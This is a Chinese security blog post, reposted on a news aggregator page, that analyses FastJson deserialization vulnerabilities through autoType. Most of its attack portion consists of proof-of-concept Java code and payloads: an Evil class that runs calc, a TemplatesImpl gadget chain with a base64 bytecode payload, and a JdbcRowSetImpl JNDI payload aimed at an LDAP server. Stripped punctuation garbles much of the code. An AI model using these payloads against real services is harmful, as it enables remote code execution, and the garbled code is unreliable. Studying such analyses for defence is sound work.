城市直播房产教育博客汽车
快传网
汽车报价
买车新车
博客专栏
专题精品
教育留学
高考读书
房产家居
彩票视频
直播黑猫
投资微博
城市上海
政务旅游

网络安全之反序列化漏洞分析

11月11日 艮山观投稿
  简介
  FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象分别通过toJSONString和parseObjectparse来实现序列化和反序列化。使用
  对于序列化的方法toJSONString()有多个重载形式。
  SerializeFeature:通过设置多个特性到FastjsonConfig中全局使用,也可以在使用具体方法中指定特性SerializeFilter:一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化SerializeConfig:添加特点类型自定义的序列化配置
  对于反序列化的方法parseObject()也同样有多个重载形式。
  【一一帮助安全学习,所有资源关注我,私信回复资料获取一一】
  网络安全学习路线
  20份渗透测试电子书
  安全攻防357页笔记
  50份安全攻防面试指南
  安全红队渗透工具包
  网络安全必备书籍
  100个漏洞实战案例
  安全大厂内部视频资源
  历年CTF夺旗赛题解析序列化操作
  可以发现这两个的区别,如果使用了toJSONString()的属性值SerializerFeature。WriteClassName,就会在序列化的时候多写入一个type后面跟着的是反序列化的类名。反序列化操作packagepers。importcom。alibaba。fastjson。JSON;importcom。alibaba。fastjson。JSONOpublicclassUnSerialTest{publicstaticvoidmain(String〔〕args){StringjsonStringWithType{type:pers。fastjson。Student,name:RoboTerh};StringjsonStringWithoutType{name:RoboTerh};System。out。println(useJSON。parsewithtype。。。。。。);Objecto1JSON。parse(jsonStringWithType);System。out。println(o1);System。out。println();System。out。println(useJSON。parsewithouttype。。。。);Objecto2JSON。parse(jsonStringWithoutType);System。out。println(o2);System。out。println();System。out。println(useJSON。parseObjectwithtype。。。。。。。);JSONObjecto3JSON。parseObject(jsonStringWithType);System。out。println(o3);System。out。println();System。out。println(useJSON。parseObjectwithouttype。。。。。。。。。);JSONObjecto4JSON。parseObject(jsonStringWithoutType);System。out。println(o4);System。out。println();System。out。println(useJSON。parseObjectwithouttypebuthava。Class);Studento5JSON。parseObject(jsonStringWithoutType,Student。class);System。out。println(o5);}}
  可以通过结果发现1和5成功反序列化,没成功都是因为没有确定需要反序列化的类。
  我们可以发现,在引入了type之后,JSON。parseObject调用了gettersetter方法,JSON。parse调用了setter方法。
  当然,其他的方式也是可以调用getter方法的,但是有条件限制:
  条件一、方法名需要长于4
  条件二、不是静态方法
  条件三、以get字符串开头,且第四个字符需要是大写字母
  条件四、方法不能有参数传
  条件五、继承自CollectionMapAtomicBooleanAtomicIntegerAtomicLong
  条件六、此getter不能有setter方法(程序会先将目标类中所有的setter加入fieldList列表,因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter)
  因为fastjson存在autoType机制,当用户指定type时,存在调用恶意settergetter的情况,这就是fastjson反序列化漏洞。简单的漏洞Evil。javapackagepers。importjava。io。IOEpublicclassEvil{privateSpublicEvil(){System。out。println(构造方法);}publicvoidsetName(Stringname)throwsIOException{this。System。out。println(调用了setName方法);Runtime。getRuntime()。exec(calc);}publicStringgetName(){System。out。println(调用了getName方法);}}EvilTest。javapackagepers。importcom。alibaba。fastjson。JSON;importcom。alibaba。fastjson。JSONOpublicclassEvilTest{publicstaticvoidmain(String〔〕args){StringjsonString{type:pers。fastjson。Evil,name:RoboTerh};JSONObjectoJSON。parseObject(jsonString);System。out。println(o);}}
  成功弹出了计算器,
  我们调式分析分析,
  在JSON。parseObject处下的断点。
  首先使用了parse()方法进行反序列化操作。
  在JSON。parse(Stringtext,intfeatures)创建了DefaultJSONParser对象。
  在成功创建了该对象之后通过判断ch是{〔为token赋值,这里是12。
  在DefaultJSONParserparse方法中通过判断token的值,进入创建了一个JSONObject对象。
  进parseObject方法,这里会通过scanSymbol获取到type指定类,然后通过TypeUtils。loadClass方法加载Class。
  先是首先在maping中寻找JDK的内置类,没有找到之后使用ClassLoader寻找,得到clazz的之后进行返回
  创建了ObjectDeserializer并且调用了getDeserializer方法。Templateslmpl利用链
  如果一个类中的getter满足调用条件而且存在可利用点,攻击链就产生了。
  在com。sun。org。apache。xalan。internal。xsltc。trax。TemplatesImpl类中就存在一个私有变量outputProperties,他的getter方法就满足在反序列化的时候的调用条件。分析利用链,
  从漏洞触发点开始TemplateslmplgetTransletInstance方法。
  这里通过调用class〔transletIndex〕的newInstance()方法进行实例化操作,我们追踪class〔transletIndex〕的出处,看看是否可以控制,进行恶意操作。
  值得注意的是,我们想要达到漏洞点,在getTransletInstance()方法的两个if语句中,我们需要保证他的name这个私有属性不为空,否则就直接返回了null,而不会达到漏洞点。
  在第二个语句中就是通过defineTransletClasses()方法获得了class和transletIndex的值,进入它。
  首先判断bytecodes是否为空,这里的bytecodes同样是Templateslmpl类的成员变量,可控
  如果这里不为空的话,就会执行。
  而且这里如果tfactory不为空的话,就会导致出现异常,然后返回,不会继续执行程序,我们需要保证它不为null,虽然他也是Templateslmpl类的成员变量,但是他没有对应的setter,我们可以通过Feature。SupportNonPublicField来进行修改。
  接着走,在后面有一个for循环,
  通过loader。defineClass修饰之后将bytecodes〔i〕赋值给class〔i〕,跟进defineClass方法。
  他是ClassLoader的defineClass的重写,作用是将字节码转化为Class,
  转回defineTransletClasses,在if判断语句中,如果它是mainclass的时候我们就为transletIndex赋值。
  现在重新回到getTranslateInstance()方法,现在这里的class〔translateIndex〕就是我们为bytecodes赋值的恶意class,我们这里将他给实例化了,成功利用恶意类,
  现在我们可以知道getTranslateInstance()是可以执行恶意类的,我们搜索在Templateslmpl类中什么调用了这个方法的。
  可以发现在newTransformer()方法中使用了getTransletInstance()方法。
  继续搜索在哪里调用了newTransformer()方法。
  在getOutputProperties()方法调用了他,而且这个方法,在反序列化的时候会被调用,现在,这个利用链就完整了。利用链getOutputProperties()newTransformer()getTransletInstance()defineTransletClasses()class〔transletIndex〕。newInstance()POCpackagepers。importcom。alibaba。fastjson。JSON;importcom。alibaba。fastjson。parser。Fimportcom。sun。org。apache。xalan。internal。xsltc。runtime。AbstractTimportjavassist。CannotCompileEimportjavassist。ClassPimportjavassist。CtCimportjavassist。NotFoundEimportorg。apache。commons。codec。binary。Base64;importjava。io。IOEpublicclassFj24POC{publicstaticclassRoboTerh{}publicstaticStringmakeClasses()throwsNotFoundException,CannotCompileException,IOException{ClassPoolpoolClassPool。getDefault();CtClassccpool。get(RoboTerh。class。getName());Stringcmdjava。lang。Runtime。getRuntime()。exec(calc);;cc。makeClassInitializer()。insertBefore(cmd);StringrandomClassNameRoboTerhSystem。nanoTime();cc。setName(randomClassName);cc。setSuperclass((pool。get(AbstractTranslet。class。getName())));byte〔〕evilCodescc。toBytecode();returnBase64。encodeBase64String(evilCodes);}publicstaticStringexploitString()throwsNotFoundException,CannotCompileException,IOException{StringevilCodeBase64makeClasses();finalStringNASTYCLASScom。sun。org。apache。xalan。internal。xsltc。trax。TemplatesIStringexploit{RoboTerh:{type:NASTYCLASS,bytecodes:〔evilCodeBase64〕,name:RoboTerh,tfactory:{},outputProperties:{}}};}publicstaticvoidmain(String〔〕args)throwsNotFoundException,CannotCompileException,IOException{StringexploitexploitString();System。out。println(exploit);JSON。parse(exploit,Feature。SupportNonPublicField);JSON。parseObject(exploit,Feature。SupportNonPublicField);JSON。parseObject(exploit,Object。class,Feature。SupportNonPublicField);}}
  payload{RoboTerh:{type:com。sun。org。apache。xalan。internal。xsltc。trax。TemplatesImpl,bytecodes:〔yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhSb2JvVGVyaAEADElubmVyQ2xhc3NlcwEAIExwZXJzL2Zhc3Rqc29uL0ZqMjRQT0MkUmib1Rlcmg7AQAKU291cmNlRmlsZQEADEZqMjRQT0MuamF2YQwABAAFBwATAQAecGVycy9mYXN0anNvbi9GajI0UE9DJFJvYmUZXJoAQAQamF2YS9sYW5nL09iamVjdAEAFXBlcnMvZmFzdGpzb24vRmoyNFBPQwEACDxjbGluaXQAQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFlJvY9UZXJoMjY5OTQ4OTExMjAwMDABABhMUmib1RlcmgyNjk5NDg5MTEyMDAwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAAPAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk〕,name:RoboTerh,tfactory:{},outputProperties:{}}}
  条件限制
  需要开启Feature。SupportNonPublicField这个特性。JdbcRowSetImpl利用链分析利用链
  JdbcRowSetImpl类位于com。sun。rowset。JdbcRowSetImpl中,它本身没有实现Serializeble接口,但是他是BaseRowSet类的子类,该类实现了该接口,所以它可以进行序列化。
  链子的核心触发点是javax。naming。InitialContextlookup的参数可控造成的漏洞。
  在JdbcRowSetImplsetAutoCommit中如果this。conn为空的时候,就会调用this。connect方法。
  然后在connect方法中就会调用Javax。naming。InitialContextlookup方法,参数是dataSourceName成员变量。
  调用链JdbcRowSetImpl对象getDataSourcesetAutocommit方法context。lookup(datasourcename)POCpackagepers。importcom。alibaba。fastjson。JSON;publicclassFj24JdbcPOC{publicstaticvoidmain(String〔〕args){Stringpayload{type:com。sun。rowset。JdbcRowSetImpl,dataSourceName:ldap:127。0。0。1:8888EvilObject,autoCommit:true,};JSON。parseObject(payload);成功JSON。parse(payload);成功JSON。parseObject(payload,Object。class);}}
  payload{RoboTerh:{type:com。sun。rowset。JdbcRowSetImpl,dataSourceName:ldap:127。0。0。1:8888evilObject,autoCommit:true}}条件限制,
  使用了JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,需要在有网的情况下执行。
投诉 评论 转载

临近空间天体生物学研究取得进展探索地外宜居环境和生命信号是天体生物学研究的核心科学问题,也是深空探测的重要科学目标。地球上的一些极端环境是公认的开展天体生物学研究的理想实验区域。海平面之上20100公里高度……科学的尽头是神学?爱因斯坦后半生,为何说上帝不掷骰子?量子力学大家应该听过很多次,它的研究领域是微观世界,但是这套理论却经常得出一些违反直觉的结论。比如这个理论认为,一个物体竟然可以同时处于多个位置,而且还会存在一个现象,那就是一……通州区张家湾镇拆违建绿昔日违建变身百亩油菜花海上百亩油菜花在阳光下美得耀眼。宝贝,等你上完网课,换上裙子,咱们去村里拍大片。赵帅对女儿说。赵帅家住张家湾镇小耕垡村,连日来,他拍的油菜花海不仅在他的朋友圈赢得赞声一片,……冰雪烟花跨年季99。9元预售开启,在烟花与狂欢中迎接20232022,即将说再见经历让我们懂得最好的人生状态,就是好好生活2023,你好!愿你更爱自己,更有余力去爱家人和朋友们在这个年终岁末和家人,和……口味品质,科学认知牛奶,别只为好喝买单撰文:王文婷制图:caly监审:范慧新一直以来,牛奶都是健康、高营养的代表。随着牛奶越来越多的进入普通家庭餐桌,各乳企之间掀起一轮又一轮的创新,在行业不断变化……病毒死对头被找到!建议中老年多吃这3种食物,杀菌抗病毒现在冬季寒冷,正是病毒肆虐的时候,很多抵抗力低的老人小孩,现在都开始身体不适,每天穿的也非常的多,但是就容易感冒发烧,每天鼻涕往下流。究其原因,都是免疫力低下。想要身体越……网络安全之反序列化漏洞分析简介FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象分别通过to……新华全媒创新活力信心三个关键词透视冰雪经济美轮美奂的冰雕雪景、刺激好玩的雾凇漂流、挑战极限的冰雪运动进入冰雪季,各地冰雪旅游景区开始复苏,冰雪旅游、冰雪休闲、冰雪装备制造等行业焕发出勃勃生机,冰雪经济正在驶入新赛道。……兰州至北京1356公里你知道飞机在天上是怎么飞的吗北京往返兰州的空中航线,是北京沟通西北地区的一条重要空中航线。兰州中川国际机场是中国西北地区的重要区域性枢纽机场之一。在西北地区,其吞吐量仅次于西安咸阳国际机场和乌鲁木齐地窝堡……有人说想要改变别人是神经病,可世界需要这样的神经病!有人说:想要改变自己的人是神,想要改变别人的人是神经病。有人说,世界上有两件事最难:一是把自己的思想装进别人的脑袋里;二是把别人的钱装进自己的口袋里。前者成功了叫老师,后……他8岁出道拍戏,12岁与女粉玩脱衣游戏,21岁自毁前程进监狱他8岁出道拍戏,12岁与女粉玩脱衣游戏,21岁自毁前程进监狱娱乐圈有很多明星都是童星出身,比如张一山、杨紫、宋祖儿、关晓彤等。她们从小时候就开始拍戏,到现在在娱乐圈已经取……屏幕材质类型影响体验吗?上手一加新机有话说,厂商优化不可忽视在1月4日下午举行的一加手机发布会上,全新的一加11系列终于迎来了正式亮相。不过随着新机的上市,人们对于一加11屏幕材质的讨论也是逐渐多了起来不少用户好奇为什么一加11会选择E……
新生儿怎样护理,新手宝妈看过来小贝家族早婚成定律!20岁次子罗密欧见准岳父母,难比豪门长媳真硬!美丽妻子晒维金斯反推格威视频!勇士第四巨头变塔图姆克星国产软件引领行业探索数字转型新价值卡塔尔世界杯新闻分析英格兰队为何输给法国队?堵车能有多严重?盘点全球最长的四次堵车,看完开始怀疑人生看着高级的女人,秋冬都少不了一件羊毛衫,时髦显瘦还显气质泰国卫生部就迎接中国游客拟提4项入境防控措施别再唱衰澳洲了,你不配立冬寒冷已经到来,怎样御寒冷保身体,该吃些什么你知道吗7岁孩子成语量特别大,只因妈妈教得好,学成语真不难!经典优美语句摘抄
卖糖葫芦的老人环保部:迁停企业须公开水土污染情况世界上最高的人:美国人罗伯特沃德洛身高2。72米沥青中毒怎么办早期白癜风一周一次照光可以吗?2021最新欢庆元旦作文范文如何运作主群体太极拳诀窍:神奇“跺脚功”:早晚这样做一。。。中医消脂茶减肥好帮手二十几岁,别再孩子气了陪伴是最长情的告白你真懂的吗(陪伴文艺短句)学校的一次徒步活动作文

友情链接:中准网聚热点快百科快传网快生活快软网快好知文好找江西南阳嘉兴昆明铜陵滨州广东西昌常德梅州兰州阳江运城金华广西萍乡大理重庆诸暨泉州安庆南充武汉辽宁